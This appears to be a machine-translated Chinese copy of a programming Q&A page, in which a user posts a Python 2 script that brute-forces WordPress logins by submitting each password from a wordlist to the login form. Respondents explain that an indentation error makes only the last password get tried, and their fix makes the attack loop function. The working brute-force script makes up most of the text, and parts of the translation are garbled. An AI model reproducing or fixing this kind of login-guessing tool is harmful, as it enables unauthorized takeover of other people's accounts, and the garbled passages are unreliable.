我的问题在于:
try:
PassL = open(sys.argv[3], "r").readlines()
print "[+] Passwords:",len(PassL),"\n"
except(IOError):
print "[-] Error: Check your wordlist path\n"
sys.exit(1)
for word in PassL:
word = word.replace("\r","").replace("\n","")
login_form_seq = [
('log', sys.argv[2]),
('pwd', word),
('rememberme', 'forever'),
('wp-submit', 'Login >>'),
('redirect_to', 'wp-admin/')]
try:
login_form_data = urllib.urlencode(login_form_seq)
opener = urllib2.build_opener()
except:
print'Unknown ERROR'
try:
OP = opener.open(host, login_form_data).read()
except(urllib2.URLError), msg:
print msg
OP = ""
else:
'wrong?'
if re.search("WordPress requires Cookies",OP):
print "[-] Failed: WordPress has cookies enabled\n"
sys.exit(1)
#Change this response if different. (language)
if re.search("<strong>ERROR</strong>",OP):
print "[-] Login Failed :",word
else:
print "\n[!] Login Successfull:",'[#]The Information:',sys.argv[2],':',word
所以问题是,我提供sys.argv[2]
并得到txt
文件。例如:
然后在python脚本中,我尝试使用哇.txt. 问题是,我在wow.txt
中输入了15个密码,www.py
脚本读取最后一行!在
这个脚本的目的是因为我忘记了很多我的Wordpress帐户(大约6个帐户),实际上我正在考虑为每个帐户尝试25个密码。所以让我更容易——不要说“去手动尝试”,只要给我代码或正确的方法。在
您的
for word in PassL
循环只有一行,但看起来您可能希望将脚本的其余部分缩进也作为该循环的一部分。在此时,循环遍历列表,用新值替换变量
word
(根据replace命令)。当循环结束时,word
中的最后一个值是列表中的最后一个值(没有行尾)。在增加脚本其余部分的缩进将为文件中的每一行运行所有这些代码。在
大多数代码根本就不运行,因为它在
except
块中,并且无条件地跟随一个sys.exit
,所以执行永远不会到达那里,即使发生异常来触发异常(当然,如果它没有发生,整个except
永远不会输入)。再看看你发布的代码…:很明显你的缩进都错了。我想你想要的是:
^{pr2}$也就是说,只删除两行代码(所以其余的代码仍然是循环的一部分)。在
我不知道你怎么能在你的代码中造成如此严重的缩进。也许您使用的是制表符(而不是每次缩进都使用4个空格),并且编辑器或IDE的设置方式会误导您实际缩进的内容。在
相关问题 更多 >
编程相关推荐